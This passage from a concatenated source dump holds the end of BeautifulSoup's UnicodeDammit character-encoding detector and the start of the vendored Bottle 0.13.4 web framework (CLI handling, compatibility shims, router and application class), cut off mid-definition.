RobustHTMLParser(BeautifulSoup): pass class RobustWackAssHTMLParser(ICantBelieveItsBeautifulSoup): pass class RobustInsanelyWackAssHTMLParser(MinimalSoup): pass class SimplifyingSOAPParser(BeautifulSOAP): pass ###################################################### # # Bonus library: Unicode, Dammit # # This class forces XML data into a standard format (usually to UTF-8 # or Unicode). It is heavily based on code from Mark Pilgrim's # Universal Feed Parser. It does not rewrite the XML or HTML to # reflect a new encoding: that happens in BeautifulStoneSoup.handle_pi # (XML) and BeautifulSoup.start_meta (HTML). # Autodetects character encodings. # Download from http://chardet.feedparser.org/ try: import chardet # import chardet.constants # chardet.constants._debug = 1 except ImportError: chardet = None # cjkcodecs and iconv_codec make Python know about more character encodings. # Both are available from http://cjkpython.i18n.org/ # They're built in if you use Python 2.4. try: import cjkcodecs.aliases except ImportError: pass try: import iconv_codec except ImportError: pass class UnicodeDammit: """A class for detecting the encoding of a *ML document and converting it to a Unicode string. If the source encoding is windows-1252, can replace MS smart quotes with their HTML or XML equivalents.""" # This dictionary maps commonly seen values for "charset" in HTML # meta tags to the corresponding Python codec names. It only covers # values that aren't in Python's aliases and can't be determined # by the heuristics in find_codec. CHARSET_ALIASES = { "macintosh" : "mac-roman", "x-sjis" : "shift-jis" } def __init__(self, markup, overrideEncodings=[], smartQuotesTo='xml', isHTML=False): self.declaredHTMLEncoding = None self.markup, documentEncoding, sniffedEncoding = \ self._detectEncoding(markup, isHTML) self.smartQuotesTo = smartQuotesTo self.triedEncodings = [] if markup == '' or isinstance(markup, text_type): self.originalEncoding = None self.unicode = text_type(markup) return u = None for proposedEncoding in overrideEncodings: u = self._convertFrom(proposedEncoding) if u: break if not u: for proposedEncoding in (documentEncoding, sniffedEncoding): u = self._convertFrom(proposedEncoding) if u: break # If no luck and we have auto-detection library, try that: if not u and chardet and not isinstance(self.markup, text_type): u = self._convertFrom(chardet.detect(self.markup)['encoding']) # As a last resort, try utf-8 and windows-1252: if not u: for proposed_encoding in ("utf-8", "windows-1252"): u = self._convertFrom(proposed_encoding) if u: break self.unicode = u if not u: self.originalEncoding = None def _subMSChar(self, orig): """Changes a MS smart quote character to an XML or HTML entity.""" sub = self.MS_CHARS.get(orig) if isinstance(sub, tuple): if self.smartQuotesTo == 'xml': sub = '&#x%s;' % sub[1] else: sub = '&%s;' % sub[0] return sub def _convertFrom(self, proposed): proposed = self.find_codec(proposed) if not proposed or proposed in self.triedEncodings: return None self.triedEncodings.append(proposed) markup = self.markup # Convert smart quotes to HTML if coming from an encoding # that might have them. if self.smartQuotesTo and proposed.lower() in("windows-1252", "iso-8859-1", "iso-8859-2"): markup = re.compile("([\x80-\x9f])").sub \ (lambda x: self._subMSChar(x.group(1)), markup) try: # print "Trying to convert document to %s" % proposed u = self._toUnicode(markup, proposed) self.markup = u self.originalEncoding = proposed except Exception as e: # print "That didn't work!" # print e return None #print "Correct encoding: %s" % proposed return self.markup def _toUnicode(self, data, encoding): '''Given a string and its encoding, decodes the string into Unicode. %encoding is a string recognized by encodings.aliases''' # strip Byte Order Mark (if present) if (len(data) >= 4) and (data[:2] == '\xfe\xff') \ and (data[2:4] != '\x00\x00'): encoding = 'utf-16be' data = data[2:] elif (len(data) >= 4) and (data[:2] == '\xff\xfe') \ and (data[2:4] != '\x00\x00'): encoding = 'utf-16le' data = data[2:] elif data[:3] == '\xef\xbb\xbf': encoding = 'utf-8' data = data[3:] elif data[:4] == '\x00\x00\xfe\xff': encoding = 'utf-32be' data = data[4:] elif data[:4] == '\xff\xfe\x00\x00': encoding = 'utf-32le' data = data[4:] newdata = text_type(data, encoding) return newdata def _detectEncoding(self, xml_data, isHTML=False): """Given a document, tries to detect its XML encoding.""" xml_encoding = sniffed_xml_encoding = None try: if xml_data[:4] == '\x4c\x6f\xa7\x94': # EBCDIC xml_data = self._ebcdic_to_ascii(xml_data) elif xml_data[:4] == '\x00\x3c\x00\x3f': # UTF-16BE sniffed_xml_encoding = 'utf-16be' xml_data = text_type(xml_data, 'utf-16be').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') \ and (xml_data[2:4] != '\x00\x00'): # UTF-16BE with BOM sniffed_xml_encoding = 'utf-16be' xml_data = text_type(xml_data[2:], 'utf-16be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x3f\x00': # UTF-16LE sniffed_xml_encoding = 'utf-16le' xml_data = text_type(xml_data, 'utf-16le').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and \ (xml_data[2:4] != '\x00\x00'): # UTF-16LE with BOM sniffed_xml_encoding = 'utf-16le' xml_data = text_type(xml_data[2:], 'utf-16le').encode('utf-8') elif xml_data[:4] == '\x00\x00\x00\x3c': # UTF-32BE sniffed_xml_encoding = 'utf-32be' xml_data = text_type(xml_data, 'utf-32be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x00\x00': # UTF-32LE sniffed_xml_encoding = 'utf-32le' xml_data = text_type(xml_data, 'utf-32le').encode('utf-8') elif xml_data[:4] == '\x00\x00\xfe\xff': # UTF-32BE with BOM sniffed_xml_encoding = 'utf-32be' xml_data = text_type(xml_data[4:], 'utf-32be').encode('utf-8') elif xml_data[:4] == '\xff\xfe\x00\x00': # UTF-32LE with BOM sniffed_xml_encoding = 'utf-32le' xml_data = text_type(xml_data[4:], 'utf-32le').encode('utf-8') elif xml_data[:3] == '\xef\xbb\xbf': # UTF-8 with BOM sniffed_xml_encoding = 'utf-8' xml_data = text_type(xml_data[3:], 'utf-8').encode('utf-8') else: sniffed_xml_encoding = 'ascii' pass except: xml_encoding_match = None xml_encoding_match = re.compile( r'^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data) if not xml_encoding_match and isHTML: regexp = re.compile(r'<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I) xml_encoding_match = regexp.search(xml_data) if xml_encoding_match is not None: xml_encoding = xml_encoding_match.groups()[0].lower() if isHTML: self.declaredHTMLEncoding = xml_encoding if sniffed_xml_encoding and \ (xml_encoding in ('iso-10646-ucs-2', 'ucs-2', 'csunicode', 'iso-10646-ucs-4', 'ucs-4', 'csucs4', 'utf-16', 'utf-32', 'utf_16', 'utf_32', 'utf16', 'u16')): xml_encoding = sniffed_xml_encoding return xml_data, xml_encoding, sniffed_xml_encoding def find_codec(self, charset): return self._codec(self.CHARSET_ALIASES.get(charset, charset)) \ or (charset and self._codec(charset.replace("-", ""))) \ or (charset and self._codec(charset.replace("-", "_"))) \ or charset def _codec(self, charset): if not charset: return charset codec = None try: codecs.lookup(charset) codec = charset except (LookupError, ValueError): pass return codec EBCDIC_TO_ASCII_MAP = None def _ebcdic_to_ascii(self, s): c = self.__class__ if not c.EBCDIC_TO_ASCII_MAP: emap = (0,1,2,3,156,9,134,127,151,141,142,11,12,13,14,15, 16,17,18,19,157,133,8,135,24,25,146,143,28,29,30,31, 128,129,130,131,132,10,23,27,136,137,138,139,140,5,6,7, 144,145,22,147,148,149,150,4,152,153,154,155,20,21,158,26, 32,160,161,162,163,164,165,166,167,168,91,46,60,40,43,33, 38,169,170,171,172,173,174,175,176,177,93,36,42,41,59,94, 45,47,178,179,180,181,182,183,184,185,124,44,37,95,62,63, 186,187,188,189,190,191,192,193,194,96,58,35,64,39,61,34, 195,97,98,99,100,101,102,103,104,105,196,197,198,199,200, 201,202,106,107,108,109,110,111,112,113,114,203,204,205, 206,207,208,209,126,115,116,117,118,119,120,121,122,210, 211,212,213,214,215,216,217,218,219,220,221,222,223,224, 225,226,227,228,229,230,231,123,65,66,67,68,69,70,71,72, 73,232,233,234,235,236,237,125,74,75,76,77,78,79,80,81, 82,238,239,240,241,242,243,92,159,83,84,85,86,87,88,89, 90,244,245,246,247,248,249,48,49,50,51,52,53,54,55,56,57, 250,251,252,253,254,255) import string c.EBCDIC_TO_ASCII_MAP = string.maketrans( \ ''.join(map(chr, xrange(256))), ''.join(map(chr, emap))) return s.translate(c.EBCDIC_TO_ASCII_MAP) MS_CHARS = { '\x80' : ('euro', '20AC'), '\x81' : ' ', '\x82' : ('sbquo', '201A'), '\x83' : ('fnof', '192'), '\x84' : ('bdquo', '201E'), '\x85' : ('hellip', '2026'), '\x86' : ('dagger', '2020'), '\x87' : ('Dagger', '2021'), '\x88' : ('circ', '2C6'), '\x89' : ('permil', '2030'), '\x8A' : ('Scaron', '160'), '\x8B' : ('lsaquo', '2039'), '\x8C' : ('OElig', '152'), '\x8D' : '?', '\x8E' : ('#x17D', '17D'), '\x8F' : '?', '\x90' : '?', '\x91' : ('lsquo', '2018'), '\x92' : ('rsquo', '2019'), '\x93' : ('ldquo', '201C'), '\x94' : ('rdquo', '201D'), '\x95' : ('bull', '2022'), '\x96' : ('ndash', '2013'), '\x97' : ('mdash', '2014'), '\x98' : ('tilde', '2DC'), '\x99' : ('trade', '2122'), '\x9a' : ('scaron', '161'), '\x9b' : ('rsaquo', '203A'), '\x9c' : ('oelig', '153'), '\x9d' : '?', '\x9e' : ('#x17E', '17E'), '\x9f' : ('Yuml', ''),} ####################################################################### #By default, act as an HTML pretty-printer. if __name__ == '__main__': soup = BeautifulSoup(sys.stdin) print(soup.prettify()) ================================================ FILE: thirdparty/bottle/__init__.py ================================================ pass ================================================ FILE: thirdparty/bottle/bottle.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function """ Bottle is a fast and simple micro-framework for small web applications. It offers request dispatching (Routes) with URL parameter support, templates, a built-in HTTP Server and adapters for many third party WSGI/HTTP-server and template engines - all in a single file and with no dependencies other than the Python Standard Library. Homepage and documentation: http://bottlepy.org/ Copyright (c) 2009-2024, Marcel Hellkamp. License: MIT (see LICENSE for details) """ import sys __author__ = 'Marcel Hellkamp' __version__ = '0.13.4' __license__ = 'MIT' ############################################################################### # Command-line interface ###################################################### ############################################################################### # INFO: Some server adapters need to monkey-patch std-lib modules before they # are imported. This is why some of the command-line handling is done here, but # the actual call to _main() is at the end of the file. def _cli_parse(args): # pragma: no coverage from argparse import ArgumentParser parser = ArgumentParser(prog=args[0], usage="%(prog)s [options] package.module:app") opt = parser.add_argument opt("--version", action="store_true", help="show version number.") opt("-b", "--bind", metavar="ADDRESS", help="bind socket to ADDRESS.") opt("-s", "--server", default='wsgiref', help="use SERVER as backend.") opt("-p", "--plugin", action="append", help="install additional plugin/s.") opt("-c", "--conf", action="append", metavar="FILE", help="load config values from FILE.") opt("-C", "--param", action="append", metavar="NAME=VALUE", help="override config values.") opt("--debug", action="store_true", help="start server in debug mode.") opt("--reload", action="store_true", help="auto-reload on file changes.") opt('app', help='WSGI app entry point.', nargs='?') cli_args = parser.parse_args(args[1:]) return cli_args, parser def _cli_patch(cli_args): # pragma: no coverage parsed_args, _ = _cli_parse(cli_args) opts = parsed_args if opts.server: if opts.server.startswith('gevent'): import gevent.monkey gevent.monkey.patch_all() elif opts.server.startswith('eventlet'): import eventlet eventlet.monkey_patch() if __name__ == '__main__': _cli_patch(sys.argv) ############################################################################### # Imports and Python 2/3 unification ########################################## ############################################################################### import base64, calendar, email.utils, functools, hmac, itertools,\ mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib from types import FunctionType from datetime import date as datedate, datetime, timedelta from tempfile import NamedTemporaryFile from traceback import format_exc, print_exc from unicodedata import normalize try: from ujson import dumps as json_dumps, loads as json_lds except ImportError: from json import dumps as json_dumps, loads as json_lds py = sys.version_info py3k = py.major > 2 # Lots of stdlib and builtin differences. if py3k: import http.client as httplib import _thread as thread from urllib.parse import urljoin, SplitResult as UrlSplitResult from urllib.parse import urlencode, quote as urlquote, unquote as urlunquote urlunquote = functools.partial(urlunquote, encoding='latin1') from http.cookies import SimpleCookie, Morsel, CookieError from collections.abc import MutableMapping as DictMixin from types import ModuleType as new_module import pickle from io import BytesIO import configparser from datetime import timezone UTC = timezone.utc # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6 # getargspec was deprecated in 3.0 and removed in 3.11 from inspect import getfullargspec def getargspec(func): spec = getfullargspec(func) kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) return kwargs, spec[1], spec[2], spec[3] basestring = str unicode = str json_loads = lambda s: json_lds(touni(s)) callable = lambda x: hasattr(x, '__call__') imap = map def _raise(*a): raise a[0](a[1]).with_traceback(a[2]) else: # 2.x warnings.warn("Python 2 support will be dropped in Bottle 0.14", DeprecationWarning) import httplib import thread from urlparse import urljoin, SplitResult as UrlSplitResult from urllib import urlencode, quote as urlquote, unquote as urlunquote from Cookie import SimpleCookie, Morsel, CookieError from itertools import imap import cPickle as pickle from imp import new_module from StringIO import StringIO as BytesIO import ConfigParser as configparser from collections import MutableMapping as DictMixin from inspect import getargspec from datetime import tzinfo class _UTC(tzinfo): def utcoffset(self, dt): return timedelta(0) def tzname(self, dt): return "UTC" def dst(self, dt): return timedelta(0) UTC = _UTC() unicode = unicode json_loads = json_lds exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '<py3fix>', 'exec')) # Some helpers for string/byte handling def tob(s, enc='utf8'): if isinstance(s, unicode): return s.encode(enc) return b'' if s is None else bytes(s) def touni(s, enc='utf8', err='strict'): if isinstance(s, bytes): return s.decode(enc, err) return unicode("" if s is None else s) tonat = touni if py3k else tob def _stderr(*args): try: print(*args, file=sys.stderr) except (IOError, AttributeError): pass # Some environments do not allow printing (mod_wsgi) # A bug in functools causes it to break if the wrapper is an instance method def update_wrapper(wrapper, wrapped, *a, **ka): try: functools.update_wrapper(wrapper, wrapped, *a, **ka) except AttributeError: pass # These helpers are used at module level and need to be defined first. # And yes, I know PEP-8, but sometimes a lower-case classname makes more sense. def depr(major, minor, cause, fix, stacklevel=3): text = "Warning: Use of deprecated feature or API. (Deprecated in Bottle-%d.%d)\n"\ "Cause: %s\n"\ "Fix: %s\n" % (major, minor, cause, fix) if DEBUG == 'strict': raise DeprecationWarning(text) warnings.warn(text, DeprecationWarning, stacklevel=stacklevel) return DeprecationWarning(text) def makelist(data): # This is just too handy if isinstance(data, (tuple, list, set, dict)): return list(data) elif data: return [data] else: return [] class DictProperty(object): """ Property that maps to a key in a local dict-like attribute. """ def __init__(self, attr, key=None, read_only=False): self.attr, self.key, self.read_only = attr, key, read_only def __call__(self, func): functools.update_wrapper(self, func, updated=[]) self.getter, self.key = func, self.key or func.__name__ return self def __get__(self, obj, cls): if obj is None: return self key, storage = self.key, getattr(obj, self.attr) if key not in storage: storage[key] = self.getter(obj) return storage[key] def __set__(self, obj, value): if self.read_only: raise AttributeError("Read-Only property.") getattr(obj, self.attr)[self.key] = value def __delete__(self, obj): if self.read_only: raise AttributeError("Read-Only property.") del getattr(obj, self.attr)[self.key] class cached_property(object): """ A property that is only computed once per instance and then replaces itself with an ordinary attribute. Deleting the attribute resets the property. """ def __init__(self, func): update_wrapper(self, func) self.func = func def __get__(self, obj, cls): if obj is None: return self value = obj.__dict__[self.func.__name__] = self.func(obj) return value class lazy_attribute(object): """ A property that caches itself to the class object. """ def __init__(self, func): functools.update_wrapper(self, func, updated=[]) self.getter = func def __get__(self, obj, cls): value = self.getter(cls) setattr(cls, self.__name__, value) return value ############################################################################### # Exceptions and Events ####################################################### ############################################################################### class BottleException(Exception): """ A base class for exceptions used by bottle. """ pass ############################################################################### # Routing ###################################################################### ############################################################################### class RouteError(BottleException): """ This is a base class for all routing related exceptions """ class RouteReset(BottleException): """ If raised by a plugin or request handler, the route is reset and all plugins are re-applied. """ class RouterUnknownModeError(RouteError): pass class RouteSyntaxError(RouteError): """ The route parser found something not supported by this router. """ class RouteBuildError(RouteError): """ The route could not be built. """ def _re_flatten(p): """ Turn all capturing groups in a regular expression pattern into non-capturing groups. """ if '(' not in p: return p return re.sub(r'(\\*)(\(\?P<[^>]+>|\((?!\?))', lambda m: m.group(0) if len(m.group(1)) % 2 else m.group(1) + '(?:', p) class Router(object): """ A Router is an ordered collection of route->target pairs. It is used to efficiently match WSGI requests against a number of routes and return the first target that satisfies the request. The target may be anything, usually a string, ID or callable object. A route consists of a path-rule and a HTTP method. The path-rule is either a static path (e.g. `/contact`) or a dynamic path that contains wildcards (e.g. `/wiki/<page>`). The wildcard syntax and details on the matching order are described in docs:`routing`. """ default_pattern = '[^/]+' default_filter = 're' #: The current CPython regexp implementation does not allow more #: than 99 matching groups per regular expression. _MAX_GROUPS_PER_PATTERN = 99 def __init__(self, strict=False): self.rules = [] # All rules in order self._groups = {} # index of regexes to find them in dyna_routes self.builder = {} # Data structure for the url builder self.static = {} # Search structure for static routes self.dyna_routes = {} self.dyna_regexes = {} # Search structure for dynamic routes #: If true, static routes are no longer checked first. self.strict_order = strict self.filters = { 're': lambda conf: (_re_flatten(conf or self.default_pattern), None, None), 'int': lambda conf: (r'-?\d+', int, lambda x: str(int(x))), 'float': lambda conf: (r'-?[\d.]+', float, lambda x: str(float(x))), 'path': lambda conf: (r'.+?', None, None) } def add_filter(self, name, func): """ Add a filter. The provided function is called with the configuration string as parameter and must return a (regexp, to_python, to_url) tuple. The first element is a string, the last two are callables or None. """ self.filters[name] = func rule_syntax = re.compile('(\\\\*)' '(?:(?::([a-zA-Z_][a-zA-Z_0-9]*)?()(?:#(.*?)#)?)' '|(?:<([a-zA-Z_][a-zA-Z_0-9]*)?(?::([a-zA-Z_]*)' '(?::((?:\\\\.|[^\\\\>])+)?)?)?>))') def _itertokens(self, rule): offset, prefix = 0, '' for match in self.rule_syntax.finditer(rule): prefix += rule[offset:match.start()] g = match.groups() if g[2] is not None: depr(0, 13, "Use of old route syntax.", "Use <name> instead of :name in routes.", stacklevel=4) if len(g[0]) % 2: # Escaped wildcard prefix += match.group(0)[len(g[0]):] offset = match.end() continue if prefix: yield prefix, None, None name, filtr, conf = g[4:7] if g[2] is None else g[1:4] yield name, filtr or 'default', conf or None offset, prefix = match.end(), '' if offset <= len(rule) or prefix: yield prefix + rule[offset:], None, None def add(self, rule, method, target, name=None): """ Add a new rule or replace the target for an existing rule. """ anons = 0 # Number of anonymous wildcards found keys = [] # Names of keys pattern = '' # Regular expression pattern with named groups filters = [] # Lists of wildcard input filters builder = [] # Data structure for the URL builder is_static = True for key, mode, conf in self._itertokens(rule): if mode: is_static = False if mode == 'default': mode = self.default_filter mask, in_filter, out_filter = self.filters[mode](conf) if not key: pattern += '(?:%s)' % mask key = 'anon%d' % anons anons += 1 else: pattern += '(?P<%s>%s)' % (key, mask) keys.append(key) if in_filter: filters.append((key, in_filter)) builder.append((key, out_filter or str)) elif key: pattern += re.escape(key) builder.append((None, key)) self.builder[rule] = builder if name: self.builder[name] = builder if is_static and not self.strict_order: self.static.setdefault(method, {}) self.static[method][self.build(rule)] = (target, None) return try: re_pattern = re.compile('^(%s)$' % pattern) re_match = re_pattern.match except re.error as e: raise RouteSyntaxError("Could not add Route: %s (%s)" % (rule, e)) if filters: def getargs(path): url_args = re_match(path).groupdict() for name, wildcard_filter in filters: try: url_args[name] = wildcard_filter(url_args[name]) except ValueError: raise HTTPError(400, 'Path has wrong format.') return url_args elif re_pattern.groupindex: def getargs(path): return re_match(path).groupdict() else: getargs = None flatpat = _re_flatten(pattern) whole_rule = (rule, flatpat, target, getargs) if (flatpat, method) in self._groups: if DEBUG: msg = 'Route <%s %s> overwrites a previously defined route' warnings.warn(msg % (method, rule), RuntimeWarning, stacklevel=3) self.dyna_routes[method][ self._groups[flatpat, method]] = whole_rule else: self.dyna_routes.setdefault(method, []).append(whole_rule) self._groups[flatpat, method] = len(self.dyna_routes[method]) - 1 self._compile(method) def _compile(self, method): all_rules = self.dyna_routes[method] comborules = self.dyna_regexes[method] = [] maxgroups = self._MAX_GROUPS_PER_PATTERN for x in range(0, len(all_rules), maxgroups): some = all_rules[x:x + maxgroups] combined = (flatpat for (_, flatpat, _, _) in some) combined = '|'.join('(^%s$)' % flatpat for flatpat in combined) combined = re.compile(combined).match rules = [(target, getargs) for (_, _, target, getargs) in some] comborules.append((combined, rules)) def build(self, _name, *anons, **query): """ Build an URL by filling the wildcards in a rule. """ builder = self.builder.get(_name) if not builder: raise RouteBuildError("No route with that name.", _name) try: for i, value in enumerate(anons): query['anon%d' % i] = value url = ''.join([f(query.pop(n)) if n else f for (n, f) in builder]) return url if not query else url + '?' + urlencode(query) except KeyError as E: raise RouteBuildError('Missing URL argument: %r' % E.args[0]) def match(self, environ): """ Return a (target, url_args) tuple or raise HTTPError(400/404/405). """ verb = environ['REQUEST_METHOD'].upper() path = environ['PATH_INFO'] or '/' methods = ('PROXY', 'HEAD', 'GET', 'ANY') if verb == 'HEAD' else ('PROXY', verb, 'ANY') for method in methods: if method in self.static and path in self.static[method]: target, getargs = self.static[method][path] return target, getargs(path) if getargs else {} elif method in self.dyna_regexes: for combined, rules in self.dyna_regexes[method]: match = combined(path) if match: target, getargs = rules[match.lastindex - 1] return target, getargs(path) if getargs else {} # No matching route found. Collect alternative methods for 405 response allowed = set([]) nocheck = set(methods) for method in set(self.static) - nocheck: if path in self.static[method]: allowed.add(method) for method in set(self.dyna_regexes) - allowed - nocheck: for combined, rules in self.dyna_regexes[method]: match = combined(path) if match: allowed.add(method) if allowed: allow_header = ",".join(sorted(allowed)) raise HTTPError(405, "Method not allowed.", Allow=allow_header) # No matching route and no alternative method found. We give up raise HTTPError(404, "Not found: " + repr(path)) class Route(object): """ This class wraps a route callback along with route specific metadata and configuration and applies Plugins on demand. It is also responsible for turning an URL path rule into a regular expression usable by the Router. """ def __init__(self, app, rule, method, callback, name=None, plugins=None, skiplist=None, **config): #: The application this route is installed to. self.app = app #: The path-rule string (e.g. ``/wiki/<page>``). self.rule = rule #: The HTTP method as a string (e.g. ``GET``). self.method = method #: The original callback with no plugins applied. Useful for introspection. self.callback = callback #: The name of the route (if specified) or ``None``. self.name = name or None #: A list of route-specific plugins (see :meth:`Bottle.route`). self.plugins = plugins or [] #: A list of plugins to not apply to this route (see :meth:`Bottle.route`). self.skiplist = skiplist or [] #: Additional keyword arguments passed to the :meth:`Bottle.route` #: decorator are stored in this dictionary. Used for route-specific #: plugin configuration and meta-data. self.config = app.config._make_overlay() self.config.load_dict(config) @cached_property def call(self): """ The route callback with all plugins applied. This property is created on demand and then cached to speed up subsequent requests.""" return self._make_callback() def reset(self): """ Forget any cached values. The next time :attr:`call` is accessed, all plugins are re-applied. """ self.__dict__.pop('call', None) def prepare(self): """ Do all on-demand work immediately (useful for debugging).""" self.call def all_plugins(self): """ Yield all Plugins affecting this route. """ unique = set() for p in reversed(self.app.plugins + self.plugins): if True in self.skiplist: break name = getattr(p, 'name', False) if name and (name in self.skiplist or name in unique): continue if p in self.skiplist or type(p) in self.skiplist: continue if name: unique.add(name) yield p def _make_callback(self): callback = self.callback for plugin in self.all_plugins(): try: if hasattr(plugin, 'apply'): callback = plugin.apply(callback, self) else: callback = plugin(callback) except RouteReset: # Try again with changed configuration. return self._make_callback() if callback is not self.callback: update_wrapper(callback, self.callback) return callback def get_undecorated_callback(self): """ Return the callback. If the callback is a decorated function, try to recover the original function. """ func = self.callback while True: if getattr(func, '__wrapped__', False): func = func.__wrapped__ elif getattr(func, '__func__', False): func = func.__func__ elif getattr(func, '__closure__', False): cells_values = (cell.cell_contents for cell in func.__closure__) isfunc = lambda x: isinstance(x, FunctionType) or hasattr(x, '__call__') func = next(iter(filter(isfunc, cells_values)), func) else: break return func def get_callback_args(self): """ Return a list of argument names the callback (most likely) accepts as keyword arguments. If the callback is a decorated function, try to recover the original function before inspection. """ return getargspec(self.get_undecorated_callback())[0] def get_config(self, key, default=None): """ Lookup a config field and return its value, first checking the route.config, then route.app.config.""" depr(0, 13, "Route.get_config() is deprecated.", "The Route.config property already includes values from the" " application config for missing keys. Access it directly.") return self.config.get(key, default) def __repr__(self): cb = self.get_undecorated_callback() return '<%s %s -> %s:%s>' % ( self.method, self.rule, cb.__module__, getattr(cb, '__name__', '__call__') ) ############################################################################### # Application Object ########################################################### ############################################################################### class Bottle(object): """ Each Bottle object represents a single, distinct web application and consists of routes, callbacks, plugins, resources and configuration. Instances are callable WSGI applications. :param catchall: If true (default), handle all exceptions. Turn off to let debugging middleware handle exceptions. """ @lazy_attribute def _global_config(cls): cfg = ConfigDict() cfg.meta_set('catchall', 'validate', bool) return cfg def __init__(self, **kwargs): #: A :class:`ConfigDict` for app specific configuration. self.config = self._global_config._make_overlay() self.config._add_change_listener( functools.partial(self.trigger_hook, 'config')) self.config.update({ "catchall": True }) if kwargs.get('catchall') is False: depr(0, 13, "Bottle(catchall) keyword argument.", "The 'catchall' setting is now part of the app " "configuration. Fix: `app.config['catchall'] = False`") self.config['catchall'] = False if kwargs.get('autojson') is False: depr(0, 13, "Bottle(autojson) keyword argument.", "The 'autojson' setting is now part of the app " "configuration. Fix: `app.config['json.enable'] = False`") self.config['json.disable'] = True self._mounts = [] #: A :class:`ResourceManager` for application files self.resources = ResourceManager() self.routes = [] # List of installed :class:`Route` instances. self.router = Router() # Maps requests to :class:`Route` instances. self.error_handler = {} # Core plugins self.plugins = [] # List of installed plugins. self.install(JSONPlugin()) self.install(TemplatePlugin()) #: If true, most exceptions are caught and returned as :exc:`HTTPError` catchall = DictProperty('config', 'catchall') __hook_names = 'before_request', 'after_request', 'app_reset', 'config' __hook_reversed = {'after_request'} @cached_property def _hooks(self): return dict((name, []) for name in self.__hook_names) def add_hook(self, name, func): """ Attach a callback to a hook. Three hooks are currently implemented: before_request Executed once before each request. The request context is available, but no routing has happened yet. after_request Executed once after each request regardless of its outcome. app_reset Called whenever :meth:`Bottle.reset` is called. """ if name in self.__hook_reversed: self._hooks[name].insert(0, func) else: self._hooks[name].append(func) def remove_hook(self, name, func): """ Remove a callback from a hook. """ if name in self._hooks and func in self._hooks[name]: self._hooks[name].remove(func) return True def trigger_hook(self, __name, *args, **kwargs): """ Trigger a hook and return a list of results. """ return [hook(*args, **kwargs) for hook in self._hooks[__name][:]] def hook(self, name): """ Return a decorator that attaches a callback to a hook. See :meth:`add_hook` for details.""" def decorator(func): self.add_hook(name, func) return func return decorator def _mount_wsgi(self, prefix, app, **options): segments = [p for p in prefix.split('/') if p] if not segments: raise ValueError('WSGI applications cannot be mounted to "/".') path_depth = len(segments) def mountpoint_wrapper(): try: request.path_shift(path_depth) rs = HTTPResponse([]) def start_response(status, headerlist, exc_info=None): if exc_info: _raise(*exc_info) if py3k: # Errors here mean that the mounted WSGI app did not # follow PEP-3333 (which requires latin1) or used a # pre-encoding other than utf8 :/ status = status.encode('latin1').decode('utf8') headerlist = [(k, v.encode('latin1').decode('utf8')) for (k, v) in headerlist] rs.status = status for name, value in headerlist: rs.add_header(name, value) return rs.body.append body = app(request.environ, start_response) rs.body = itertools.chain(rs.body, body) if rs.body else body return rs finally: request.path_shift(-path_depth) options.setdefault('skip', True) options.setdefault('method', 'PROXY') options.setdefault('mountpoint', {'prefix': prefix, 'target': app}) options['callback'] = mountpoint_wrapper self.route('/%s/<:re:.*>' % '/'.join(segments), **options) if not prefix.endswith('/'): self.route('/' + '/'.join(segments), **options) def _mount_app(self, prefix, app, **options): if app in self._mounts or '_mount.app' in app.config: depr(0, 13, "Application mounted multiple times. Falling back to WSGI mount.", "Clone application before mounting to a different location.") return self._mount_wsgi(prefix, app, **options) if options: depr(0, 13, "Unsupported mount options. Falling back to WSGI mount.", "Do not specify any route options when mounting bottle application.") return self._mount_wsgi(prefix, app, **options) if not prefix.endswith("/"): depr(0, 13, "Prefix must end in '/'. Falling back to WSGI mount.", "Consider adding an explicit redirect from '/prefix' to '/prefix/' in the parent application.") return self._mount_wsgi(prefix, app, **options) self._mounts.append(app) app.config['_mount.prefix'] = prefix app.config['_mount.app'] = self for route in app.routes: route.rule = prefix + route.rule.lstrip('/') self.add_route(route) def mount(self, prefix, app, **options): """ Mount an application (:class:`Bottle` or plain WSGI) to a specific URL prefix. Example:: parent_app.mount('/prefix/', child_app) :param prefix: path prefix or `mount-point`. :param app: an instance of :class:`Bottle` or a WSGI application. Plugins from the parent application are not applied to the routes of the mounted child application. If you need plugins in the child application, install them separately. While it is possible to use path wildcards within the prefix path (:class:`Bottle` childs only), it is highly discouraged. The prefix path must end with a slash. If you want to access the root of the child application via `/prefix` in addition to `/prefix/`, consider adding a route with a 307 redirect to the parent application. """ if not prefix.startswith('/'): raise ValueError("Prefix must start with '/'") if isinstance(app, Bottle): return self._mount_app(prefix, app, **options) else: return self._mount_wsgi(prefix, app, **options) def merge(self, routes): """ Merge the routes of another :class:`Bottle` application or a list of :class:`Route` objects into this application. The routes keep their 'owner', meaning that the :data:`Route.app` attribute is not changed. """ if isinstance(routes, Bottle): routes = routes.routes for route in routes: self.add_route(route) def install(self, plugin): """ Add a plugin to the list of plugins and prepare it for being applied to all routes of this application. A plugin may be a simple decorator or an object that implements the :class:`Plugin` API. """ if hasattr(plugin, 'setup'): plugin.setup(self) if not callable(plugin) and not hasattr(plugin, 'apply'): raise TypeError("Plugins must be callable or implement .apply()") self.plugins.append(plugin) self.reset() return plugin def uninstall(self, plugin): """ Uninstall plugins. Pass an instance to remove a specific plugin, a type object to remove all plugins that match that type, a string to remove all plugins with a matching ``name`` attribute or ``True`` to remove all plugins. Return the list of removed plugins. """ removed, remove = [], plugin for i, plugin in list(enumerate(self.plugins))[::-1]: if remove is True or remove is plugin or remove is type(plugin) \ or getattr(plugin, 'name', True) == remove: removed.append(plugin) del self.plugins[i] if hasattr(plugin, 'close'): plugin.close() if removed: self.reset() return removed def reset(self, route=None): """ Reset all routes (force plugins to be re-applied) and clear all caches. If an ID or route object is given, only that specific route is affected. """ if route is None: routes = self.routes elif isinstance(route, Route): routes = [route] else: routes = [self.routes[route]] for route in routes: route.reset() if DEBUG: for route in routes: route.prepare() self.trigger_hook('app_reset') def close(self): """ Close the application and all installed plugins. """ for plugin in self.plugins: if hasattr(plugin, 'close'): plugin.close() def run(self, 